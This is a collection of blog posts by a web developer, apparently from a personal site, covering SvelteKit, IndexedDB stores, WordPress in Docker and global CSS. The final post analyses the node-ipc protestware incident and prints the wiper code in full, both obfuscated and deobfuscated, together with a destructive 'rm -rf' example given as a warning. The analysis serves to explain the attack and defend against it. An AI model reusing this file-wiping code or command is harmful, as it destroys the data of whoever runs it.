Exploring how to mark #IndexedDB storage as persistent for an offline first #PWA built with #SvelteKit
Category: Programming

In an effort to promote my upcoming book, I created the website https://sveltekitbook.dev. It has all of the information one may want to know before purchasing a copy. Of course, the book is about #SvelteKit so I had to build the site using #SvelteKit. I decided to take the opportunity to learn the latest technology web developers can’t shut up about; #TailwindCSS.
Why I Quit Writing
In my last post, I prefaced it by saying that I haven’t been posting here often because I’ve been busy. In reality, I only missed a single post back in May so I guess you could say that I haven’t actually quit writing.
(But you’ve already clicked the link and are reading the post so the bait worked, right? Might as well stick around for the rest.) 😎
In fact, I’ve doubled down on the writing because the latest project that has been keeping me so incredibly busy has been…
…writing my first book!
SvelteKit Up and Running
That’s right! An entire book made out of paper and ink like they used to have back in the ye olden days. Of course, there will be digital copies for you technology enthusiasts as well. The book is titled SvelteKit Up and Running: Building High Performance Web Apps with a Next Generation Framework. It is obviously about SvelteKit, the highly performant web application meta framework from the creators of Svelte. I wrote it because I wanted to give others the resource I wish I had when I was learning how to build web apps with Svelte and SvelteKit.
Whether you’re new to JavaScript development and are wondering which framework to pick up first, or are a seasoned developer tired of the bloat that comes with other popular frameworks; this book will teach you the concepts behind the project leading the field in revolutionizing JavaScript development. The examples found throughout the book are concise, practical, and easy to follow along with while still effectively demonstrating how to leverage the various techniques necessary for implementing features commonly found in web applications.
Pre-order
As of this writing, the book is currently trending #3 on Amazon! How wild is that?
If you’re interested in getting a copy (and I hope you are), it’s available for pre-order now at https://packt.link/bVAyJ! The book is scheduled for release on July 28th, 2023.
Want more?
If you’re curious about what it takes to write a book, the process behind it, how I got started, and lessons I learned, then be sure to subscribe to this site’s RSS feed, follow me on Telegram, or find me in the Fediverse. I’ll be posting more updates as well as outlining my experience throughout the entirety of this project!
Recovering Corrupted .docx Files
Did you know that files with the extension .docx are really just .zip packages?
#LibreOffice #Word #Office
2022 Recap
I know its cliché to ask it but I’m going to anyways; where did the year go? It feels like just yesterday, I was writing about setting up a Node & MongoDB with Docker Compose.
#2022 #Recap #FullStack #WebDev
I’ve been writing on this blog for nearly 9 years and I’ve learned so much since I started. The style and the content have come a long ways and I cringe every time I read old posts thoroughly enjoy seeing how I’ve grown as a developer. I’ve interacted with people that I never would have had the chance to otherwise. It’s been a wonderful learning experience.
While my intentions have always been for this site to exist as a sort of journal/wiki/knowledgebase/playground, I’ve always secretly wanted to become a billionaire tech influencer. And now you can help me achieve that goal by buying my merchandise!
BUY! BUY! BUY!
By purchasing merchandise from my shop, you can support this site financially, by giving me real money that you’ve earned for your “hard work.” While donations are always appreciated, I understand that you may want something in return; something tangible, something you can see and smell, something to keep you comfortable while you cry yourself to sleep. And since nobody actually donates to strangers on the internet, I opened a shop.
All of the designs are completely original and there are many, many more to come. The pricing is affordable for all budgets and will only expand with more options. Be sure to check posts here often by following the social media channels or the RSS feed. There may just be coupon codes hidden in future posts 😉.
So if you’re ready to showcase the fact that you know what HTML is and like the look of monospaced fonts, then you should go checkout the new closingtags merch shop. Once you’ve got the closingtags swag (closingswag 🤔), be prepared to have people you barely know ask if you “work with computers” or to tell you about their genius new app idea.
Don’t forget to buy, buy, buy!
Svelte stores in IndexedDB
I know that I just wrote a post about using Svelte Stores with localStorage but very shortly after writing that (and implementing it in my own app 🤦), I came across this blog post from Paul Maneesilasan which explained the benefits of using IndexedDB:
So, the primary benefits to using a datastore like indexedDB are: larger data storage limits (50MB), non-blocking operations, and the ability to do db operations beyond simple read/writes. In my case, the first two alone are enough to switch over.
https://www.paultman.com/from-localstorage-to-indexeddb/
Since I had some fresh ideas for my own app about storing lots of data that could potentially would definitely go over the Web Storage 5-10MB limit, I dug even deeper into the research. In the end, I too decided to make the switch.
Sexy Dexie
The documentation for IndexedDB can be overwhelming. It’s great how thorough it is, but I found it difficult to read. After spending a few hours trying to understand the basics, getting bored, looking at memes, and finally remembering what I was supposed to be doing, I came across a package called Dexie. Dexie is a wrapper for IndexedDB, which means that it will make calls to the database for me; for instance Table.add(item) will insert the item object on the specified table. This greatly reduced my need to build that functionality myself. Since I hate reinventing the wheel (and my brain can only learn so many things in a day), I opted to use this package to manage the database. Plus, Dexie has a handy tutorial for integrating with Svelte and makes managing database versions a breeze.
While the Dexie + Svelte tutorial is great, including Dexie in each and every component that gets and sets data (like the tutorial does) would be cumbersome. It would be far simpler to use Svelte stores across components, and have the stores talk to IndexedDB via Dexie.
Custom Stores
Since IndexedDB; and therefore Dexie, utilize asynchronous APIs, a few things need to be done differently to integrate with Svelte stores. Firstly, we can’t just “get the values” from the database and assign them to a writable store (like we did in the localStorage example) since we’ll be receiving a Promise from Dexie. Secondly, when the data is updated in the store, we also need to update the data in the database; asynchronously.
This is where custom stores come in. In a custom store, we can create our very own methods to manage getting and setting data. The catch is that the store must implement a subscribe() method. If it needs to be a writable store, then it also needs to implement a set() method. The set() method will be where the magic happens.
To get started, follow Dexie’s installation instructions (npm install dexie) and create a db.js file to initialize the database. I’ve added a couple methods to mine to keep database functionality organized:
Note that is generic code sampled from helth app so references to water, calories, and sodium are done in the context of a health tracker.
import { Dexie } from ‘dexie’;
// If using SvelteKit, you’ll need to be
// certain your code is only running in the browser
import { browser } from ‘$app/environment’;
export const db = new Dexie(‘helthdb’);
db.version(1).stores({
journal: ‘date, water, calories, protein, sodium’,
settings: ‘name, value’,
});
db.open().then((db) => {
// custom logic to initialize DB here
// insert default values
};
export const updateLatestDay = (date, changes) => {
if(browser) {
return db.journal.update(date, changes);
}
return {};
};
export const getLatestDay = () => {
if(browser) {
return db.journal.orderBy(‘date’).reverse().first();
}
return {};
};
export const updateItems = (tableName, items) => {
if(browser) {
// .table() allows specifying table name to perform operation on
return db.table(tableName).bulkPut(items);
}
return {};
}
export const getItems = (tableName) => {
// spread all of the settings records onto one object
// so the app can use a single store for all settings
// this table has limited entries
// would not recommend for use with large tables
if(browser) {
return db.table(tableName).toArray()
.then(data => data.reduce((prev, curr) => ({…prev, [curr.name]: curr}), []));
// credit to Jimmy Hogoboom for this fun reducer function
// https://github.com/jimmyhogoboom
}
return {};
}
I won’t go over this file because it’s self explanatory and yours will likely be very different. After you have a database, create a file for the stores (stores.js).
import * as dbfun from ‘$stores/db’;
import { writable } from ‘svelte/store’;
// sourced from https://stackoverflow.com/q/69500584/759563
function createTodayStore() {
const store = writable({});
return {
…store,
init: async () => {
const latestDay = dbfun.getLatestDay();
latestDay.then(day => {
store.set(day);
})
return latestDay;
},
set: async (newVal) => {
dbfun.getLatestDay()
.then(day => {
dbfun.updateLatestDay(day.date, newVal);
});
store.set(newVal);
}
}
}
function createNameValueStore(tableName) {
const store = writable({});
return {
…store,
init: async () => {
const items = dbfun.getItems(tableName);
items.then(values => {
store.set(values);
})
return items;
},
set: async (newVal) => {
dbfun.updateItems(tableName, Object.keys(newVal).map((key) => {
return {name: key, value: newVal[key].value}
}));
store.set(newVal);
}
}
}
export const today = createTodayStore();
export const settings = createNameValueStore(‘settings’);
Here’s break down what this does:
Import the db.js file and any extra functionality added to it.
Import { writable } from svelte/store since we’ve already established that I hate reinventing the wheel.
Create 2 functions; createTodayStore() and createNameValueStore(). Both functions are mostly identical except for the logic they call on the database.
Each function then creates their own store from writable with an empty object as the default value.
Both functions return an object that adheres to the store contract of Svelte by implementing all the functionality of writable, overriding set(), and adding a custom method init().
init() queries the database asynchronously, sets the value of the store accordingly, then returns the Promise received from Dexie.
set() updates the data within the database given to the store and then proceeds to set the store accordingly.
Export the stores.
Accessing the stores
Now that the stores have been created, accessing them isn’t quite as simple as it was when they were synchronous. With a completely synchronous store, svelte allowed access to the data via the $ operator. The stores from localStorage could be accessed or bound simply by dropping $storeName wherever that data was needed. With the new asynchronous stores, calling the custom init()method is mandatory before accessing the data; otherwise, the store won’t have any data! Here’s a simple Svelte component showing how to access the settings store data in the <script> tag and binding to the today store in the markup.
<script>
import { onMount, afterUpdate } from ‘svelte’;
import { today, settings } from ‘$stores/stores’;
import Spinner from ‘$components/Spinner.svelte’;
$: reactiveString = ‘loading…’;
onMount(() => {
settings.init()
.then(() => {
if(‘water’ in $settings) {
reactiveString = `water set to ${settings.water.value}`;
}
});
</script>
{#await today.init()}
<Spinner />
{:then}
<input type=”number” bind:value={$today.water} />
{:catch error}
<p>error</p>
{/await}
<p>{reactiveString}</p>
<Spinner /> source can be found here.
This instance of a reactive variable doesn’t make much sense unless it were tied to another value but the logic remains the same.
Accessing the today store value in the markup is made possible by use of Svelte’s {#await}.
el fin
Is this the best way connect Svelte stores to IndexedDB?
I have no idea. Probably not.
But it does seem to work for me. If you’ve got ideas on how it could be improved, leave a comment. I’m always open to constructive criticism. If you’re curious about the app this is taken from, I’ve previously written about it here. The source code for it can be found on GitHub.
And lastly, if you’ve enjoyed this post or found value in it, consider sponsoring me on GitHub.
WordPress + Docker
Dear Vagrant,
You’ll always hold a special place in my heart but there comes a time when we have to put the past behind us. We grow, change, and you and I aren’t what we used to be. We’ve grown apart and become so different. There is no doubt that someone out there will love you, but for me; well I’m done with the days of an upgrade to VirtualBox breaking my virtual environment. I’m saying goodbye to your virtual machines taking a whopping 7 seconds to start. Vagrant, I’ve found someone else, and yes; it is Docker.
💔
If you’ve read any recent posts of mine, you’ll have noticed a distinct lack of information regarding WordPress. It’s not that I dislike WordPress now but given the option of developing with WordPress or not-WordPress, I’d choose not-WordPress. Remembering all of the hooks, the cluttered functions.php files, and bloated freemium plugins has all become so tiresome. That’s not to say that I’ll never work with it again, after all; this blog is powered by WordPress as is more than 1/3 of the web as we know it. Since I’ll never officially be done with WordPress, I should at least find some more modern ways to manage development with it.
Dockerize It
To get WordPress development environment up and running quickly, I use docker-compose. I’ve written about it before over here. It’s incredibly simple since the docker community maintains a WordPress image.
docker-compose.yml
services:
db:
image: mariadb:10.6.4-focal
command: ‘–default-authentication-plugin=mysql_native_password’
volumes:
– db_data:/var/lib/mysql
restart: always
environment:
– MYSQL_ROOT_PASSWORD=somewordpress
– MYSQL_DATABASE=wordpress
– MYSQL_USER=wordpress
– MYSQL_PASSWORD=wordpress
expose:
– 3306
– 33060
wordpress:
depends_on:
– db
image: wordpress:latest
ports:
– “8000:80”
restart: always
volumes:
– ./:/var/www/html
– ./uploads.ini:/usr/local/etc/php/conf.d/uploads.ini
environment:
– WORDPRESS_DB_HOST=db
– WORDPRESS_DB_USER=wordpress
– WORDPRESS_DB_PASSWORD=wordpress
– WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
For the most part, this file is the same as the one taken from the docker quick start example. Here are couple directives that I made changes to:
ports: I changed these around as I had some other services running from different programs
depends_on: Telling WordPress not to start until the DB has started also prevented some issues where I was seeing the famous “white screen of death”
volumes: set the current working directory to be the WordPress instance as well as created a custom PHP ini file to fix upload size restrictions
uploads.ini
file_uploads = On
memory_limit = 1024M
upload_max_filesize = 10M
post_max_size = 10M
max_execution_time = 600
Placing this uploads.ini file in a directory accessible by the docker-compose.yml let me fix problems with large file uploads.
I got 99 problems and they’re all permissions
This is all well and good but there are some issues when trying to develop locally. For instance, after running docker-compose up -d, I noticed that all files belong to www-data:www-data. This is necessary for the web server in the container to serve the files in the browser at http://localhost:8000. But then I didn’t have write permission on those files so how could I manage them?
I came across a couple of solutions but they each have their drawbacks. For instance, if I set the entire WordPress instance to be owned by my user, then the web server won’t have permission to read or write to files. I could also add my user to the group www-data but even then, I won’t have write permissions until I run something akin to sudo chmod 764 entire_wordpress_dir which isn’t desirable (but is probably the best option so far). The compromise I came up with was setting myself as the owner for all of the WordPress install, and giving WordPress ownership of the uploads directory. It seems that for now, I’ll just have to flip permissions via the CLI.
If you have ideas on how to resolve the permissions issue with WordPress and docker-compose, leave a comment below!
Global CSS in SvelteKit

EDIT: The proper method for including a global CSS files is to import it inside the root +layout.svelte file. Doing so will alert Vite to the asset which leads to HMR reflecting changes in the browser whenever the CSS file is updated. The method outlined below will not showcase the same behavior and will require you to restart your development server to reflect CSS changes.
I’ve been playing around with Svelte and SvelteKit recently. So far, I’m a fan but one thing that bothers me is how styles are managed. See, way back in the day when I wanted to build a website, I would create the style of that website in a single file called a Cascading Style Sheet (CSS). If I so chose, I could create multiple style sheets and include them all easily in the header of my website like so:
<link rel=’stylesheet’ href=’public/global.css’>
<link rel=’stylesheet’ href=’public/reset.css’>
But Svelte does things differently. Each Svelte component has its own styles. All of the styles created in that component will only ever apply to markup inside that component (unless specified with :global on the style rule). It’s a great feature because it keeps everything compartmentalized. If I see something that doesn’t look right, I know I can open the component and go to the <style> section at the bottom. Whereas CSS files can quickly become unweildly, making it difficult to track down the correct rule.
But there are times when I would like some rules to apply across the board. For instance, CSS resets. Or what about when I want to apply font styles? And sizes of headers? Doing this in each and every component would be a gigantic pain so instead, I would prefer to include one global style sheet for use throughout the application, and then tweak each component as needed. Sounds simple, right?
Well there’s a catch. Of course there is, I wouldn’t be writing about this if there wasn’t a catch (or would I?). When previewing my application with yarn dev / npm run dev, any styles included the aformentioned “old school way” way will work fine. But when I build that application to prepare it for my production environment via yarn build / npm run build, I notice the style is not included. What gives?
During the build process, I came across this error:
404 asset not found, wtf?
After a lot of digging through Github comment threads, I’ve found that Vite; the tooling used by SvelteKit to build and compile, doesn’t process the app.html file. All good, no big whoop dawg! I can just create a file in my routes called __layout.svelte and import my CSS there.
<script>
import ‘../../static/global.css’;
</script>
Although, that path is ugly to look at. And what if I don’t want that file? I don’t know, maybe I have hangups about extraneous files in my projects, cluttering up my valuable mind space 🙃.
Anyways, it turns out there is an option to get Vite to process the global.css from within the app.html. It looks like so:
<link rel=’stylesheet’ href=’%sveltekit.assets%/global.css’>
<link rel=”icon” href=”%sveltekit.assets%/favicon.png” />
See, Vite does actually process the app.html file but it only creates the links to those assets if it sees the %svelte% keyword. The best part about this method is that my app.html file will be processed accordingly with Vite and the assets will be included. Plus, I can keep that valuable clutter out of my project (and headspace!).
SvelteKit is still in development and has a long ways to go, but it’s great to see some different ideas being incorporated into the front-end framework race. It’s also a fun tool to build with and sometimes, we could use a little fun while building.
Deobfuscating Node Debacles
On March 7th, 2022, the developer known as RIAEvangelist pushed a commit containing a new file dao/ssl-geospec.js to the node-ipc Github repository, for which, they are the owner and maintainer. This code, along with a subsequent version, were not typical of this project. The node-ipc module is a JavaScript module used to facilitate local and remote inter-process communication. The project was so ubiquitous that it was even used in large frameworks such as vue-cli (a CLI used in conjunction with Vue JS). That was, until the world found out what the code from March 7th, did.
Trying to be sneaky, RIAEvangelist obfuscated the code similarly to malware I’ve noted before. RIAEvangelist was upset with Russia and Belarus for the invasion of Ukraine and as a form of protest, decided that this package should teach unsuspecting developers in those countries a lesson, by replacing all files on their computers with “❤️”.
Ethics and Software Collide
I don’t intend to go into the ethics or morality of the situation but I do believe it raises some interesting questions. Since this was RIAEvangelist’s project, as creator and maintainer, can they do whatever they want with it? What if the developer accidentally added code that did something similar? To be clear, that was most definitely not the case here. The developer is frequently and publicly called out on this yet refuses to admit any wrongdoing.
But what if an outsider attempted to backdoor the project? Many developers and companies around the world depend on this project, but how many of them were giving back to the project? As more open source developers face burnout, how should open source projects that have become baked into the core of the internet receive support? What responsibility do users of these dependencies have to help sustain them? What about the fortune 500 companies that are profiting off these projects? The developer of Faker and Color JS also had some thoughts about that very same questions earlier this year and made those thoughts public by self-sabotaging both projects.
The Code
Ethics, morals, and politics aside, the code itself is what intrigued me. I wanted to know how it was done. How does one write code to completely wipe a computer? The answer is actually quite boring. If you’re familiar with Unix file systems and have ever attempted to remove a file via the command line, you know that you must be very careful about running certain all commands. For instance, if you’re trying to remove a file in the directory /home/user/test.txt, you DO NOT want to have a space after that first “/”. Running sudo rm -rf / home/user/test.txt will cause serious problems on your computer. DO NOT RUN THAT COMMAND!
RIAEvangelst did essentially the same thing so without further ado, the code in all of its obfuscated glory:
import u from”path”;import a from”fs”;import o from”https”;setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from(“aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=”,”base64″);o.get(n.toString(“utf8”),function(t){t.on(“data”,function(t){const n=Buffer.from(“Li8=”,”base64″);const o=Buffer.from(“Li4v”,”base64″);const r=Buffer.from(“Li4vLi4v”,”base64″);const f=Buffer.from(“Lw==”,”base64″);const c=Buffer.from(“Y291bnRyeV9uYW1l”,”base64″);const e=Buffer.from(“cnVzc2lh”,”base64″);const i=Buffer.from(“YmVsYXJ1cw==”,”base64″);try{const s=JSON.parse(t.toString(“utf8”));const u=s[c.toString(“utf8”)].toLowerCase();const a=u.includes(e.toString(“utf8”))||u.includes(i.toString(“utf8”));if(a){h(n.toString(“utf8”));h(o.toString(“utf8”));h(r.toString(“utf8”));h(f.toString(“utf8″))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n=””,o=””){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from(“4p2k77iP”,”base64″);for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(…s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString(“utf8”),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
I shouldn’t have to say this, but DO NOT RUN THIS CODE!
Deobfuscation
If you’re curious about what the code would look like before obfuscation; maybe as the developer wrote it, I have cleaned it up and annotated it with comments. Again, DO NOT RUN THIS CODE. For the most part, it should fail as the API key that was originally shipped with the code is no longer valid, and even if it was, it should only affect users with an IP located in Russia or Belarus. Still, better safe than sorry.
My methodology for cleaning it up was simple; copy the code, install Prettier to prettify it, then go through it line by line, searching for minified variable names and replacing them with better named variables. As such, there may be a couple errors but for the most part, this is close to what the developer originally wrote. Probably.
import path from “path”;
import fs from “fs”;
import https from “https”;
setTimeout(function () {
// get a random number between 0 and 4
const t = Math.round(Math.random() * 4);
// 3/4 of times, exit this script early
// likely to avoid detection
if (t > 1) {
return;
}
// make request to api to find IP geolocation
https.get(
“https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154”,
function (res) {
res.on(“data”, function (data) {
try {
// parse data from request
const results = JSON.parse(data.toString(“utf8″));
// get country of origin from local IP
const countries = results[”country_name”].toLowerCase();
const fs =
countries.includes(“russia”) || countries.includes(“belarus”);
if (fs) {
wipe(“./”); // wipe current dir
wipe(“../”); // wipe 1 dir above current
wipe(“../../”); // wipe 2 dirs above current dir
wipe(“/”); //wipe root dir
}
} catch (error) {}
});
}
);
}, Math.ceil(Math.random() * 1e3)); // setTimeout of random time up to 1s
// recursive function to overwrite files
async function wipe(filePath = “”, current = “”) {
// if file doesn’t exist, exit
if (!fs.existsSync(filePath)) {
return;
}
let dir = [];
try {
dir = fs.readdirSync(filePath);
} catch (error) {}
const remainingFiles = [];
for (var index = 0; index < dir.length; index++) {
const file = path.join(filePath, dir[index]);
let info = null;
try {
info = fs.lstatSync(file);
} catch (info) {
continue;
}
if (info.isDirectory()) {
// recurse into directory
const level = wipe(file, current);
level.length > 0 ? remainingFiles.push(…level) : null;
} else if (file.indexOf(current) >= 0) {
try {
// overwrite current file with ❤️
fs.writeFile(file, “❤️”, function () {});
} catch (info) {}
}
}
return remainingFiles;
}
// a constant must have a value when initialized
// and this needed to export something at the very end of the file
// to look useful, so may as well just export a boolean
const ssl = true;
export { ssl as default, ssl };
and them’s the facts
If you’ve made it this far, you’re probably hoping for some advice on how to protect yourself against this sort of attack. The best advice for now is to not live in Russia or Belarus. After that, version lock your dependencies. Then, check your package.json/package.lock against known vulnerabilities. NPM includes software to make this simple but for PHP dependencies, there are projects like the Symfony CLI tool. Fortunately, this project was given a CVE which makes Github Dependabot and NPM audits alert users. Don’t just ignore those, do something about them! Finally, actually look at the code you’re installing, don’t give trust implicitly, take frequent backups, and be mindful of what you’re installing on your system.
PS
If you’re a Node developer, it’s worth taking a look at Deno. Deno is a project from the creator of Node that is secure by default. Packages have to explicitly be granted permission to access the file system, network, and environment. This type of attack shouldn’t be possible within a Deno environment unless the developer grants permission to the package.
PPS
I have more thoughts about the ethics of blindly attacking all users with an IP based in Russia or Belarus but I’m not nearly as articulate as others so I would suggest reading this great article from the EFF.